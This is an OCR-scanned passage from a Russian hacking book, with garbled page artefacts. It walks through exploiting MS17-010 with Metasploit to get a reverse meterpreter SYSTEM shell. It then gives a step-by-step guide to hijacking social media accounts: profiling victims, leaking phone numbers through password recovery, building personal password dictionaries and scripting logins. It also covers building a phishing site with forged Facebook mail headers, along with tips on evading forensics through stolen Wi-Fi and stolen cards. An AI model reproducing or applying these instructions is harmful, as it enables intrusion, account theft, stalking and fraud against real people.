пользовали заведомо старую операционку (потому что у нас таких старых
не было), то сейчас попробуем найти жертву в нашей локальной сети, ис­
пользуя nmap. При этом мы запустим nmap с опцией --script и будем ис­
пользовать скрипт smb-vuln-msl 7-010. Данный скрипт выполнит проверку
на уязвимость. Заодно протестируем нашу сеть:
nmap --script smЬ-vuln-msl 7-010 -v 192.. 169 .1.1/24

...

Теперь нужно запастись терпением, пока nmap просканирует всю сеть. Вы­
вод скрипта, свидетельствующий о том, что уязвимость найдена, выглядит
так:

•.

. . . . . . . .. . . . . . . . - - ..... - - - - - . - . - - - - - - -. - - - - - - - - - - - . - - - - - - - . - - - - - - - - - - - - - - - - - - - - - -

1 1.11',.1 ''

11, 1111 11. ;,111,11111,· \1, l.1Splш1

t 1н в; 111,1.1

Starting Nmap 9.70 ( https://nmap.org ) at 2022-12-10 11:05 MSK
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:05

Host script results:
smЬ-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulneraЬility in Мicrosoft SМВvl servers (msl7-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
А critical remote code execution vulneraЬility exists in Мicrosoft SМВVl
servers (ms17-010).
Disclosure date: 2017-03-14
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://Ь l ogs.technet.microsoft.com/msrc/2017 /05/12/customer­
guidance-for-wannacrypt-attacks/
https;//technet.microsoft.com/en-us/library/security/msl7-010.aspx
1
NSE: Script Post-scanning.
Initiating·NSE at 11:05
Completed NSE at 11:05, O.OOs elapsed
Read data files from: /usr /Ьin/../share/nmap

Итак, жертва найдена. В нашем случае это Windows Server 2016 Datacenter
Edition, IР-адрес 192.169.1.50.
Теперь нужно запустить консоль и найти подходящий модуль:
msfconsole
search eternal romance
Matching Modules
Name

Disclosure Date Rank

Check

Description

auxiliary/admin/smЬ/ms17_010 ccmnand 2017-03-14
normal Yes
МS17-010
Eternal.Ranance/EternalSynergy/EternalChaпpion SМВ Rerrote Windows Ccmnand Execution
exploit/windows/smЬ/ms17_010ysexec 2017-03-14
normal No
МS17-010
Eternal.Ranance/EternalSynergy/EternalChaпpion SМВ Rerrcte Windows Code Execution



............ ......... .......... .................................. ............. ....

..

'\.11,11111 11,1 1 11111\

Фреймворк нашел два модуля. Мы будем использовать exploit/windows/smЫ
msl7_0lO_psexec:
use exploit/windows/smЬ/msl7 0l0_psexec

Просмотрим опции модуля:
options

Все параметры невозможно уместить на странице книги, поэтому приводим
скриншот.

Рис. 9.8. Параметры модуля exp/oitlwindows/smЬ/msl7_0J0_psexec

Как и в прошлом случае, нам нужно установить удаленный узел, полезную
нагрузку, локальную машину и локальный порт:
msf6> set rhosts 192.169.1.50
rhosts => 192.169.1.50
msf6> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

---

--· - --- -- -- --- ·-· ·-·..... ----·. ---... ................ ·····..................... .

1 1.11
lhost
msf6>
lport

1 111 н ! 111":1

set lhost 192.169.1.3
=> 192.169.1.3
set lport 4321
=> 4321

Все готово для запуска. Запускаем:
[*] Started reverse ТСР handler on 192.169.1.3:4321
[*] 192.169.1.50:445 - Target OS: Windows Server 2016 Standard

Evaluation 14393
[*] 192.169.1.50:445 - Built а write-what-where primitive ...
[+] 192.169.1.50:445 - Overwrite complete.•. SYSTEM session obtained!
[*] 192.169.1.50:445 - Selecting PowerShell target
[*] 192.169.1.50:445 - Executing the payload ...
[+] 192.169.1.50:445 - Service start timed out, ОК if running а
command or non-service executaЫe ...
[*] Sending stage (206403 bytes) to 192.169.1.50
[*] Мeterpreter session 2 opened (192.169.1.3:4321 -> 192.169.1.50:49965)
at 2019-03-26 11:12:30 -0500

Итак, успешно установления сессия meterpreter и мы можем вводить коман­
ды, которые будут запущены на хакнутой системе:
sysinfo
Computer

os

Architecture
System Language
Domain
Logged On Users
Meterpreter

DC0l
Windows 2016 (Build 14393).
х64
en US
DLAB
4

x64/windows

Примечательно, если мы введем getuid, чтобы получить UID пользователя,
мы увидим, что мы работаем от имени системы:
Server username: NT AUTHORITY\SYSTEM

Как только что было показано, можно относительно легко взломать совре­
менную версию Windows Server, если она не была вовремя пропатчена. Если
ты являешься сисадмином, то только что мы наглядно продемонстрирова-



·--------------···--·---··--·······-···---···--·---·---···-···--··--··---···-···-·81

ли зачем нужно устанавливать заплатки безопасности и обновления. Про­
демонстрированная нами угроза до сих пор остается актуальной, посколь­
ку далеко не все админы старательно относятся к своим обязанностям. В
результате имеем огромную дыру в безопасности, через которую могут не
только улетучиться данные (утечка), но и пострадать вся система.



1!11---------------------------------------------------------------------------------.

Глава 10.

Взлом и защита а:к:каунтов
в социальных сетях

\.а1,11111 11а 1 11111,

В этой главе мы поговорим еще об одном интересном вопросе - взломе
страничек в социальных сетях. Расскажем, как взломать и как защититься
от взлома.

10.1. Кто и зачем взламывает аккаунты
Существует различные причины взлома аккаунтов в соцсетях. В зависимо­
сти от причины взлома различают, собственно, взлом (когда хакер получает
доступ к аккаунту жертвы) и так называемый "угон" аккаунта, когда хакер
меняет пароль, привязывает другой телефон, чтобы жертва больше не могла
войти в аккаунт.
Итак, выделим основные причины:
• Взлом ради взлома - пользуется спросом у начинающих хакеров. Они
просто тренируются. Для них важен сам взлом, а не желание кому-то
нагадить. Конечно, бывают и не очень хорошие хакеры, которые сначала
взламывают страничку, а потом постят на ней различные гадости. Здесь
уж как повезет или не повезет жертве. Такой взлом может быть с угоном
или без такового. Сложно прогнозировать новичка, который сначала ло-



&1----------------------------------------------------------------------------------·

( 111\,\ )(). В; 111\I 11 1,!111111,1 ,\1,'lн\"11111: 11 l'IHlll:1.11,111," l'l'IH\

мает, а потом думает, что со всем этим делать. Так как никакой цели нету,
после взлома со страничкой может произойти все, что угодно - от жела­
ния или настроения хакера.
• Бытовые причины - ревность, желание контролировать любимого че­
ловека или ребенка. Как правило, такие взломы не сопровождаются уго­
ном странички. Пароль никто не меняет, поскольку важно, чтобы жертва
ничего не заподозрила и продолжала пользоваться аккаунтом. Хакеру ин­
тересно, с кем она общается, какие сообщения пишет и т.д. Думаю, здесь
все понятно.
• Рассылка спама- хакер взламывает страничку и затем постит с нее рекла­
му в ленту. Как правило, такой взлом сопровождается угоном _: ему важно,
чтобы реклама провисела как можно дольше, пока ее не удалят. Также ему
важно, чтобы рекламу увидели как можно больше пользователей, поэтому
для таких целей взламываются только популярные аккаунты, у которых
много друзей и подписчиков. Хакер может выслеживать жертву- он может
быть одним из ее подписчиков. Ему важно знать, когда жертва будет хотя
бы несколько дней отсутствовать. Идеальный период - когда жертваедет
в отпуск. Не поверишь, сколькалюдей сообщают об отпуске в социальной
сети! Как минимум жертва будет в дороге 1-2 дня и ей будет не до Интер­
нета. А некоторые вообще на отдыхе отключают телефон, чтобы никто их
не беспокоил. Следовательно, жертва будет отсутствовать вообще неделю.
Конечно, пользователь обратится в службу поддержки, сообщит о взломе,
предоставит документы, подтверждающие факт владения аккаунтом, IР­
адреса, с которых он обычно входил, номер телефона и т.д. Аккаунт ему
вернут, но чем позже это произойдет, тем лучше. Поэтому хакер поменяет
не только пароль, но и номер телефона. Если такое произошло с твоей
страничкой, не паникуй, а обратись в саппорт. Также не пытайся связать­
ся с другого аккаунта с хакером. Он попросит деньги за возврат аккаунта,
но не факт, что после оплаты он вернет аккаунт обратно. Скорее всего,
нет. А служба поддержки социальной сети вернет тебе его совершенно
бесплатно.
• Взлом с целью получения выкупа за аккаунт - еще одна популярная
причина взлома. У жертвы угоняют аккаунт, а потом на ее телефон прихо­
дит SMS мол, за возврат аккаунта оплатите такую-то сумму. Иногда SMS
может быть замаскировано под саму социальную сеть. Представь, что
тебе приходит SMS от Facebook, в котором говорится что за незаконные
действия с аккаунтом его заблокировали и за разблокировку нужно опла­
тить штраф 1ООО рублей. Если твой аккаунт заблокирует социальная сеть,

• --

. .. ...... - - -.....

-- ... -...................... -· ... -....... -... - - ....... - -... -...

-

,.11,11111 11.1 1 i1н1 \

то она уже не разблокирует его за никакие деньги. 100% это мошенники,
поэтому нужно связаться по официальным каналам (а не по тем, которые
приводятся в письме) со службой поддержки социальной сети.
• Взлом с целью продажи - наверное, ты заметил частые объявления о
аренде аккаунтов. Рекламщики берут в аренду твой аккаунт и произво­
дят свои манипуляции от твоего имени - ставят лайки за проплачен­
ные посты, подписываются на страницы и т.д. Хакеры могут взломать
и продать рекламщикам твой аккаунт. Пока ты будешь восстанавливать
доступ, ты уже будешь подписан на тысячи всевозможных страниц. Не­
которые пользователи из-за этого заводят себе новые аккаунты, чтобы не
отписываться от всего этого и не снимать все проставленные лайки, так
как это убьет кучу времени. Взлому подвергаются, как популярные, так и
не очень аккаунты. Здесь важен просто аккаунт, а количество друзей - это
второстепенно.
• Конкуренция или промышленный шпионаж - иногда нужно взломать
бизнес-аккаунт конкуре1Па для получения нужной информации, напри­
мер, настройки рекламной кампании, переписка с клие1Пами и т.д. В не­
которых случаях бизнес-аккаунт взломать даже проще. Помни, что редко
когда бизнес-аккаунтом пользуется один владелец, часто он предостав­
ляет доступ к нему своим сотрудникам. А когда доступ имеют, скажем
5-7 человек, то твои возможности расширяются. Не получилось взломать
один аккаунт, можешь пробовать взломать другой. Человеческая глупость
или тупость не знает границ. Недавно одному из авторов этой книги было
поручено проверить безопасность одного из предприятий, в том числе
проверялся и бизнес-аккаунт на Facebook. Доступ к аккаунту бьш у пяти
человек, в том числе у девушки Златы. Пароль к личному аккаунту Зла­
ты был Zlata, причем номер телефона был в открьпом
доступе на страничке Златы. Занавес...

10.2. Сбор информации
Существуют различные методы взлома. Вообще, взлом социальной сети не быстрое дело. Быстро только кошки родят и аккаунты взламывают хакеры
в фильмах. Нужно запастись терпением, чтобы довести начатое до конца.
Не существует универсального метода взлома аккаунта. Прежде, чем при­
ступить к взлому, ты должен собрать как можно больше информации о своей

..................................................................................

_,

! 1,11\,1 J !1. 1\: 111,1 11 :.1111111 �1 ,11,1"1' 111 IIB В ( 111111:1 11,111,1\ ('(' 1 \1\

жертве. Чем больше информации ты соберешь, тем проще будет взломать
пароль. Собирай всевозможную информацию и веди досье:
• Полное ФИО
• Дата и место рождения
• Место проживания
• Социальный статус
• Место работы и должность
• E-mail, номер телефона
• Девичью фамилию для женщин
• Любимые блюда, клички домашних животных, если они есть
• Любимые цветы, увлечения, хобби и т.д.
Также будет неплохо добавиться в друзья к некоторым друзьям жертвы, а
затем добавиться в друзья к самой жертве. Этим ты не вызовешь подозрения
(жертва увидит, что ты являешься общим знакомым, возможно, она где-то
тебя видели (ясное дело, не тебя, а ту фейковую фотку, которую ты поста­
вишь в фейковый аккаунт), и не захочет отказываться в добавлении в друзья,
тем более, что есть общие знакомые). В результате ты получишь доступ к
информации, которая открыта только для друзей - некоторые фото, по кото­
рым можно понять, где бывает жертва; номер телефона; email и т.д.
Номер телефона и e-mail тебе понадобятся для отправки фейковых сообще­
ний якобы от социальной сети. Если на социальной страничке их нет, тебе
придется их вычислить. Собери как можно больше аккаунтов, которыми
пользуется твоя жертва - Facebook, VK, lnstagram, Twitter и т.д. Поочеред­
но, попробуй восстановить пароль в каждом из этих аккаунтов. При восста­
новлении пароля сообщение может быть отправлено или на e-mail или на
телефон, если он привязан к аккаунту. Каждый из этих сервисов закрывает
звездочками свою часть номера. Например, попытайся восстановить пароль
на VК - ты получишь одну часть номера телефона. Затем, если почта у жерт­
вы на Mail.Ru, попытайся восстановить доступ к почте - ты получишь вто­
рую часть номера. Если не будет хватать нескольких символов, не проблема,
можно перебрать, вариантов то всего 1 О для каждого знакоместа. Конечно,
если не хватает двух цифр, то вариантов уже 100.

•.---------------------------------------------------------------------------------111

'\,11,11111 11,1 1 illll\

Почту можно вычислить в коде страницы. Например, если жертва пользует­
ся социальной сетью Мой мир, то ее электронная почта есть в коде страницы
профиля или даже в URL. Можно использовать социальный инжиниринг познакомиться с жертвой, общаться несколько дней, чтобы не вызывать по­
дозрения, затем попросить e-mail, чтобы отправить якобы интересующую
жертву информацию. Вуаля - почта есть. Правда, жертва может использо­
вать для социальной сети и личной переписки разные ящики - это усложнит
задачу. Аналогичным образом, впрочем, можно добыть и номер телефона.
Также выясни все клички животных - которые были и которые есть. Очень
часто кличка животного является частью пароля шш самим паролем. То же
самое можно сказать и о детях. Если у жертвы есть дети, выясни, как их зо­
вут. Очень часто паролем является имя ребенка. Причем если есть девочка и
мальчик, то, скорее всего, паролем будет имя девочки (возможно, с какими­
то цифрами, например, годом или датой рождения, например, Vika201012).
Хобби или увлечения - еще одно слабое место. Например, если жертва
- фанат Audi, то паролем может быть слово Audi с какими-то цифрами,
например:
• AudiQ7 - марка и модель машины
• Audi798 - марка и часть номера.
• Audi_197_798 - марка и номер авто.
Да, номер автомобиля тоже желательно узнать - он может быть частью па­
роля. Номер, как правило, легко узнать по фотографиям, которые жертва
выкладывает в социальной сети.
Из всех этих данных собери словарь возможных паролей. Пусть жертву зо­
вут Андрей Иванов, жертва родилась 14.03.1977 года, имеет аккаунт в Face­
book /iandrey1403, увлекается автомобилями, в частности Audi, владеет ав­
томобилем с номером 798 регион 197 (номер вымышлен), также имеет дочь
Викторию, которая родилась 20 окrября 2012 года. Номер телефона жертвы
4952223344 (номер вымышлен).
Соберем список возможных паролей (это не все пароли, которые можно
собрать на основе этих данных, просто чтобы ты понимал, как сформиро­
вать подобный словарь):



.....................................................................................

1 l,IB,I JII. 1\, 111\I 11 \,1111111,1 ,11,1,:1\IIIIIB В l"flllll,1.11,111,1\ l"t'III\

// Блок Хобби
Audi798
AudiQ7
AudiQ7_798
Audi 798
Audi 197798
Audi 798197
AudiQ7_798197
Audi798197
Audil97798
audi798
audiq7
audiq7_798
audi 798
audi 197798
audi 798197
audiq7_798197
audi798197
audil97798
// Блок личные данные
Andrey77
andreyl40377
140377
14031977
Andreyl40377

,

Andrey14031977
_

- - . . - .. - - .. ·- - - - - - - - - - - - - . - - - - - - - - - - - . . -- - - - - - - . - - . . - - . - -- - . . - - . . - - - . - - - - . - -

. ....

\,11,11111 11,1 1 11111\

ivanov140377
ivanov140377
4952223344
// Дети и животные
Lera201012
lera201012
Lera20102012
lera20102012
Lera2012
vika2012
// Другие аккаунты
iandrey1403
iandrey140377
iandrey14031977
// Разный бред вроде:
123456789qwerty
qwerty1234567890000
Подобный список должен содержать не менее 100 различных вариантов па­
роля. Скорее всего, подобных вариантов будет больше, если ты соберешь
всю необходимую информацию. Затем эти пароли можно будет или попро­
бовать ввести вручную или же автоматизировать этот процесс. Брутфор­
сить (то есть подбирать паролей путем перестановки символов) нет особого
смысла, так как после определенного количества попыток аккаунт блоки­
руется на некоторое время, поэтому брутфорсинг может длиться вечно и не
факт, что приведет к правильному паролю. Представим, что у жертвы был
случайный пароль ВМ820А. Пока программа дойдет до этой :комбинации
символов может пройти несколько месяцев с учетом блокировок аккаунта .

11111----------------------------------------------------------------------------------.

1

•,11,, 11!

1\: 1]+').group(0) = 'Login I VК':
print(login + '·' + psswrd + '--fail')
else:
print(login + '·' + psswrd + •--success')
out.write(login + '·' + psswrd + '\n')
out.close()
psswrds.close()

Да, этот скрипт далек от идеала, но при желании ты его можешь доработать.
В нем хорошо то, что он будет сам вводить капчу с помощью Antigate, а
капча будет появляться, поскольку ты входишь в систему из другой страны.

-

Примечание. Надеюсь, ты догадался использовать все меры
предосторожности? Как минимум, не взламывай аккаунты со
своего домашнего Интернета, купи SIМ-карту и смени свою ло­
кацию. Используй VPN или Тог. Если карточку купить не получа­
ется, взломай чей-то Wi-Fi - это неплохой шанс остаться неза­
меченным. Но не забывай о предосторожности. Если не хочешь



................................................................................. .

1

l,11"1 111. li: 111'1 11 ;,1111111,1 ,11,1"1\1111111 В l'llllll:1.11,111,1'\ Cl'III'\

использовать VPN (или социальная сеть блокирует доступ из
VPNfТor), взломай чей-то Wi-Fi (только не соседский, а жела­
тельно в другом доме) и используй на своем компе для рабо­
ты виртуальную машину, которую ты удалишь, как только цель
будет достигнута. Чтобы на твоем компе не остались данные,
которые могли бы доказать, что взламывал именно ты. А
то Autopsy - довольно мощный инструмент и может накопать о
тебе больше инфы, чем ты сам о себе знаешь!

Данный меrод позволяет войти на страничку без смены пароля, то есть по­
дойдет в случае, если тебе нужно, чтобы жертва не догадывалась о взломе
страницы.

10.3.4. Фишинг или фейковая страничка. Очень подробное
руководство
Фишинг - наверное, самый распространенный меrод взлома страниц в соци­
альных сетях . Например, хакер может просто создать идентичную по струк­
туре и дизайну страницу, на которой сайт запрашивает логин и пароль жерт­
вы. Когда жертва его вводит, логин и пароль отправляются хакеру.
Примечание. Fishing происходит от fish - рыба. В свою очередь,
этот метод подразумевает nловлю на крючокn. Попадется жертва
или нет - зависит от опытности рыбака и смекалки рыбы.

Хоть и сейчас многие пользователи уже достаточно грамотные и могут от­
личить адрес фишингого сайта от реального, не стоит забывать, что есть
новички, которые увидев схожий дизайн, начинают слепо доверять сайту.
Как реализовать:
1. Зарегистрируй домен вроде vk-login.com, facebook-login.com, fЪ-login.
сот или как-то так, чтобы было похоже на адрес соцсети. Регистрацию
нужно производить на фейковый e-mail, оплачивать биткоинами или'
украденной кредиткой.

,

. ...

2. Купи какой-то дешевый хостинг, не в России, прикрути домен к этому
хостишу. Купи самый дешевый SSL-сертификат, чтобы браузер не ругался
_

- - - --- - - - --. - -.... -. ·- --·. -........- ...... ··-... - -...... -- - ... - .. ·-.. ·- -... -

\;11,11111 11:1 1 illll\

на его отсутствие. Так у тебя ничего не получится еще в самом начале!
Хостинг должен быть с поддержкой РНР - это обязательное условие.
3. Используя команду Сохранить как в браузере сохрани страничку входа
в социальную сеть вместе с картинками.
4. Отредактируй НТМL-код так, чтобы введенные имя пользователя и па­
роль отправлялись тебе на электронную почту, сценарий будет приведен.
5. При желании можно сделать редирект на социальную сеть, чтобы жертва
ничего не заподозрила. Так как жертва, скорее всего, уже залогинена в
социальной сети, достаточно будет сделать редирект на главную страни­
цу - жертва ничего не поймет и ей не придется вводить пароль дважды.
6. Осталось только заманить жертву на фейковую страничку. Можно отпра­
вить ей сообщение о необходимости актуализации персональных дан­
ных, просмотре какого-то интересного контента и т.д. В общем, прояви
фантазию. Вся проделанная до этого техническая работа зависит от того,
насколько ты постараешься на последнем этапе. Facebook, например, ре­
гулярно спамит на почтовый ящик - мол посмотрите, кто смотрел твою
страницу, кто оставил мнение о твоей странице, отправляет различные
напоминалки о днях рождения и т.д. Если ты пользуешься этой сетью,
то наверняка видел подобные сообщения. Отправь пользователю такое
же сообщение, с таким же дизайном. В таких сообщениях, как правило,
есть кнопка со ссылкой, например, ссьmка ведет на мессенджер, чтобы
поздравить пользователя с Днем рождения. Ты меняешь ссылку, которая
введет на твой фейковый домен fЪ-login.com. Жертва переходит по ней и
видит окно входа в социальную сеть. Если жертва переходит с мобильно­
го телефона, она вовсе может ничего не заподозрить.
Теперь поговорим о техничес1,юй части на примере ВКонтакте (все-таки
это одна из самых популярных, если не самая популярная сеть на на­
ших просторах). На рис. 10.1 показана страница входа в социальную сеть.
Щелкни правой кнопкой мыши и выбери команду Сохранить как. Сохрани
страницу как index.html, при сохранении выбери Страница (полностью).
Сохранять страничку нужно в отдельный каталог, специально созданный
для этих целей (у нас это /hоmе//vk).
Опубликуй содержимое каталога ~/vk на своем хостинге. Нужно скопиро­
вать содержимое, а не весь каталог - файл index.html и папку index_files.
Попытайся открыть свой сайт. Ты увидишь nримерно следующее (рис. 10.2).

....

- - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - ' - - - - - - - - - - - - - - - - - - - - - - ---- - --- - - - - - -



--- - - - - - -- - - .

1

1,11\,1

lfl I\;

111\1 11 :,1111111,1 .11,1"1\111111\ В lllllll,111,111,1\ (l'III\

----.........._________
......... ,. ..

_...,..._ -.-.

__
--

,

Рис. 10.1. Страница входа в ВКонтакте

.....................
.........
..............................
...............................
..................................
..........

............
......
......
...........
.......
...........
............


♦♦♦♦♦♦♦
♦♦♦♦♦♦♦♦♦?

:,

...........
Рис.10.2. Абракадабра

Вместо русских символов - какая-то абракадабра. Явно не та страница, на
которую можно заманить пользователя. Но обрати внимания - она в дизай­
не. Так что приступаем ко второму этапу.
Тебе понадобится текстовый редактор Notepad2 (бесплатно можно скачать
по адресу https://www.flos-freeware.ch/). Открой index.html в этом редакто-



. ... . ......... . ..... . . . . ... . .. . . . . . .. . -.. .................... - ...... -

................

ре и выбери команду File, Encoding, UTF-8. Затем измени кодировку
windows-1251 на utf-8, нужная правка выделена на рис. 10.3.
1



--·················································································

f 1:11:,! 11)

1\ \ 111,111 1,111111 1,1 ,11,1"1\ 1111111 В \'111\lla,11,111,1\ Cl'III\

Разберемся, что тут и к чему. Файл с твоим письмом нужно назвать
message.html и поместить в один каталог с файлом index.html. Код письма
будем хранить отдельно от кода сценария. У РНР сложные правила коди­
рования текста внутри письма, объяснять которые новичку нет желания. К
тому же у него всегда будет возможность накосячить и совершить ошибку, а
так ошибка исключена.
Адрес почты hacker@example.org замени на свой личный. Ты будешь запу­
скать этот сценарий столько раз, сколько nонадобится - пока ты не убедишь­
ся, что результат действительно похож на оригинал.
Тему письма замени на ту, что подходит под твое сообщение. Если это уве­
домление о Дне рождения друга, то будет одна тема, если о чем-то другом,
то другая тема.
Заголовки письма тоже замени. Сейчас они приведены для Facebook.
ZuckМail [version 1.00] - это название мейлера Facebook. Если ты хакаешь
другую соцсетъ, посмотри, какой мейлер использует она. Дьявол кроется в
деталях - помни об этом. Некоторые почтовые интерфейсы могут из-за та­
ких мелочей поместить твои письма в спам. Чем подробнее ты укажешь за­
головки, тем лучше. Разумеется, эти заголовки должны быть максимально
похожими на оригинал.
Вот пример заголовков Facebook (это не все заголовки, а те, которые ты мо­
жешь проставить, потому что некоторые заголовки могут изменяться только
почтовой системой, и пользователь никак на них не может повлиять):
То: Адрес получателя
Subject: Тема
X-Priority: 3
X-Mailer: ZuckMail [version 1.00]
From: Facebook
Reply-to: noreply
Errors-To: notification@facebookmail.com
X-Facebook-Notify: birthday_reminder;
mailid=7b5af9acc94dбGSaf38faalb5aGSb5afe4629ba8Gla
List-Unsubscribe:
Feedback-ID: O:birthday_reminder:Facebook
X-FACEBOOK-PRIORITY: О
X-Auto-Response-Suppress: All
MIME-Version: 1.0

•. .. . . . . .. . . .. . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . .. . . .. . .. . . . . . . . . . . . . . . . ·fll

\.,11-11111 11:t I illll'\

Страшные наборы символов вроде 7b5af9acc94d6G5afЗ 8faa l b5aG5b5afe4629ba8G l - это UUID. Чтобы твое письмо походило на оригинал, тебе
нужно сгенерировать какой-то UUID в сценарии отправки сообщения. Здесь
можно выбрать два варианта - вручную изменить ID и статически прописать
их в заголовках письма. А можно использовать библиотеку РНР для генери­
рования UUID и автоматизировать этот процесс. Тогда каждое новое письмо,
которое ты отправляешь, будет со своим UUID. Для этого используется та­
кой сценарий (лист. l 0.5).
Листинг 10.5. Сценарий генерирования UUID